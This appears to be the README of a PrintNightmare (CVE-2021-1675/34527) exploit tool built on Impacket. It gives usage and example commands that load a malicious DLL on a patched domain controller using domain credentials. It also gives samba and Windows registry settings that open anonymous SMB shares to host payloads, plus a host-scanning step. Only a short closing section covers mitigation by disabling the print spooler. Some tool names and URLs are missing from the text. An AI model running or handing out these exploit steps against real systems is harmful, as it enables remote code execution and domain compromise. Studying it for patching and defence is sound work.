CVE-2021-1675 / CVE-2021-34527

Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)

Tested on a fully patched 2019 Domain Controller

Execute malicious DLL’s remote or locally


Before running the exploit you need to install my version of Impacket and after that you’re gucci

pip3 uninstall impacket
git clone
cd impacket
python3 ./ install

usage: [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

                        NTLM hashes, format is LMHASH:NTHASH

  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

./ hackit.local/domain_user:Pass123@ '\\\smb\addCube.dll'
./ hackit.local/domain_user:Pass123@ 'C:\addCube.dll'

SMB configuration

Easiest way to host payloads is to use samba and modify /etc/samba/smb.conf to allow anonymous access

    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

From windows it’s also possible

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot


We can use from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable @ | grep MS-RPRN

Protocol: [MS-RPRN]: Print System Remote Protocol


Disable Spooler service

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

Or Uninstall Print-Services

Uninstall-WindowsFeature Print-Services


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